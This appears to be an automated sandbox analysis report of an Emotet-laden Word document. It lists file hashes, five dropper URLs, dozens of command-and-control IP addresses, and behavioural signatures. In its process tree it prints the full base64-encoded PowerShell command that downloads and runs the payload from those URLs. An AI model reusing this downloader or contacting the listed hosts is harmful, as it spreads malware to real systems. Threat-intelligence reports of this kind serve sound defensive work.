Analysis
- max time kernel
135s - max time network
138s - platform
windows10_x64 - resource
win10 - submitted
30/07/2020, 13:20
Static task
static1
Behavioral task
behavioral1
Sample
ZO_64027554234033.doc
Resource
win7v200722
General
- Target ZO_64027554234033.doc
- Size 177KB
- Sample200730-mn6jz67e1e
- SHA256 739e50e7bd1c36b43db67f896b7fd97fb2336438531535461784e5a044f1277e
- MD5 e8a857763ca2edf732ff533ce824c554
- SHA1 0c24c4ba570cfe7b279ba49a4a016b314a2c2b87
- SHA512 eef37cfd9ecb27f36f9b01ade4d42934182bc2e5107681cf8eaf3b3636daa3e08f2ddd9d42621f01d14cd7fd606f93656ee87cc444251628c118ec9504a02c47
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://kmgusa.net/_Media/vcpg_k56w_8d5/
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exe.dropper
http://saangberg.com/wp-includes/u_a_vn/
-
exe.dropper
https://webpresario.com/now/Marck-Script/c3j0x_6_8z2g0sdd/
-
exe.dropper
https://www.merlincolor.com/stylesheets/46_b_ez5p/
-
exe.dropper
http://www.geodesign07.com/wp-content/ni9tn_7_6aiui/
Extracted
-
emotet
-
47.146.117.214:80
-
62.108.54.22:8080
-
212.51.142.238:8080
-
190.160.53.126:80
-
87.106.136.232:8080
-
74.208.45.104:8080
-
121.124.124.40:7080
-
124.45.106.173:443
-
76.27.179.47:80
-
210.165.156.91:80
-
61.19.246.238:443
-
81.2.235.111:8080
-
169.239.182.217:8080
-
181.230.116.163:80
-
139.130.242.43:80
-
46.105.131.87:80
-
139.59.60.244:8080
-
222.214.218.37:4143
-
41.60.200.34:80
-
200.55.243.138:8080
-
24.234.133.205:80
-
190.55.181.54:443
-
189.212.199.126:443
-
93.156.165.186:80
-
62.138.26.28:8080
-
62.75.141.82:80
-
176.111.60.55:8080
-
168.235.67.138:7080
-
109.117.53.230:443
-
5.196.74.210:8080
-
162.154.38.103:80
-
152.168.248.128:443
-
83.110.223.58:443
-
95.9.185.228:443
-
180.92.239.110:8080
-
209.141.54.221:8080
-
37.187.72.193:8080
-
113.160.130.116:8443
-
85.59.136.180:8080
-
79.98.24.39:8080
-
91.231.166.124:8080
-
185.94.252.104:443
-
108.48.41.69:80
-
95.179.229.244:8080
-
71.208.216.10:80
-
93.51.50.171:8080
-
78.24.219.147:8080
-
24.179.13.119:80
-
200.41.121.90:80
-
153.126.210.205:7080
-
104.236.246.93:8080
-
46.105.131.79:8080
-
201.173.217.124:443
-
50.116.86.205:8080
-
116.203.32.252:8080
-
157.245.99.39:8080
-
109.74.5.95:8080
-
203.153.216.189:7080
-
87.106.139.101:8080
-
137.59.187.107:8080
-
110.145.77.103:80
-
47.153.182.47:80
-
95.213.236.64:8080
-
24.43.99.75:80
-
209.182.216.177:443
-
173.91.22.41:80
-
5.39.91.110:7080
-
75.139.38.211:80
-
91.211.88.52:7080
-
37.139.21.175:8080
-
162.241.92.219:8080
-
104.131.11.150:443
-
70.167.215.250:8080
-
104.131.44.150:8080
-
103.86.49.11:8080
-
65.111.120.223:80
Signatures
- Executes dropped EXE 2 IoCs
pid Process 1552 415.exe 1904 ustprov.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1552 wrote to memory of 1904 1552 415.exe 76 PID 1552 wrote to memory of 1904 1552 415.exe 76 PID 1552 wrote to memory of 1904 1552 415.exe 76 - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\getuname\ustprov.exe 415.exe - Blacklisted process makes network request 1 IoCs
flow pid Process 22 3780 powersheLL.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3920 WINWORD.EXE 3920 WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3780 776 powersheLL.exe 68 - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3780 powersheLL.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3780 powersheLL.exe 3780 powersheLL.exe 3780 powersheLL.exe 1904 ustprov.exe 1904 ustprov.exe 1904 ustprov.exe 1904 ustprov.exe - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1552-9-0x0000000000770000-0x000000000077C000-memory.dmp emotet behavioral2/memory/1552-9-0x0000000000770000-0x000000000077C000-memory.dmp emotet behavioral2/memory/1904-12-0x0000000000640000-0x000000000064C000-memory.dmp emotet behavioral2/memory/1904-12-0x0000000000640000-0x000000000064C000-memory.dmp emotet - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 3920 WINWORD.EXE 1552 415.exe 1904 ustprov.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ZO_64027554234033.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:3920
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABTAFYATgBCAEgAdwB1AHoAPQAnAFMAUABGAEMAWgBhAGgAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIASQBgAFQAeQBwAGAAUgBPAHQATwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAFgATABRAEgATABvAHAAbAAgAD0AIAAnADQAMQA1ACcAOwAkAFIASgBSAEkATgBlAGkAbAA9ACcASgBQAFkAWABMAGQAbAB3ACcAOwAkAFUARgBOAEYAQQBwAHEAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAWABMAFEASABMAG8AcABsACsAJwAuAGUAeABlACcAOwAkAFQAWQBSAEwAQgBtAHgAbQA9ACcAVgBMAFAAWgBDAGUAYwB0ACcAOwAkAEMAQgBUAEQAVABmAGMAcQA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAEUAYgBDAEwASQBFAG4AVAA7ACQAWABLAEcAWQBQAGwAZwB3AD0AJwBoAHQAdABwADoALwAvAGsAbQBnAHUAcwBhAC4AbgBlAHQALwBfAE0AZQBkAGkAYQAvAHYAYwBwAGcAXwBrADUANgB3AF8AOABkADUALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGEAbgBnAGIAZQByAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAXwBhAF8AdgBuAC8AKgBoAHQAdABwAHMAOgAvAC8AdwBlAGIAcAByAGUAcwBhAHIAaQBvAC4AYwBvAG0ALwBuAG8AdwAvAE0AYQByAGMAawAtAFMAYwByAGkAcAB0AC8AYwAzAGoAMAB4AF8ANgBfADgAegAyAGcAMABzAGQAZAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBlAHIAbABpAG4AYwBvAGwAbwByAC4AYwBvAG0ALwBzAHQAeQBsAGUAcwBoAGUAZQB0AHMALwA0ADYAXwBiAF8AZQB6ADUAcAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAZQBvAGQAZQBzAGkAZwBuADAANwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG4AaQA5AHQAbgBfADcAXwA2AGEAaQB1AGkALwAnAC4AIgBzAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIATgBBAFcAWQBsAHYAcQA9ACcAVABSAFQAWQBPAGUAeQBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAEEATgBNAFcAcQBkAHMAIABpAG4AIAAkAFgASwBHAFkAUABsAGcAdwApAHsAdAByAHkAewAkAEMAQgBUAEQAVABmAGMAcQAuACIAZABgAE8AVwBOAEwATwBBAGQAZgBJAGAAbABlACIAKAAkAFEAQQBOAE0AVwBxAGQAcwAsACAAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVgBHAEkARQBLAGIAYwBuAD0AJwBLAEoATQBVAFYAcwBhAGoAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABVAEYATgBGAEEAcABxAGIAKQAuACIAbABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADcANgAyADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGAARQBBAHQAZQAiACgAJABVAEYATgBGAEEAcABxAGIAKQA7ACQAVwBBAEYAUABLAHoAZAB1AD0AJwBXAFgATABCAE4AcwBnAG0AJwA7AGIAcgBlAGEAawA7ACQAVwBDAFoAVABLAGwAawBnAD0AJwBaAFcAQgBZAEUAdQBvAHMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBRAFgARQBIAGcAdQByAD0AJwBZAEkAWgBDAE8AZgBnAG0AJwA=1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3780
-
C:\Users\Admin\415.exeC:\Users\Admin\415.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:1552 -
C:\Windows\SysWOW64\getuname\ustprov.exe"C:\Windows\SysWOW64\getuname\ustprov.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1904
-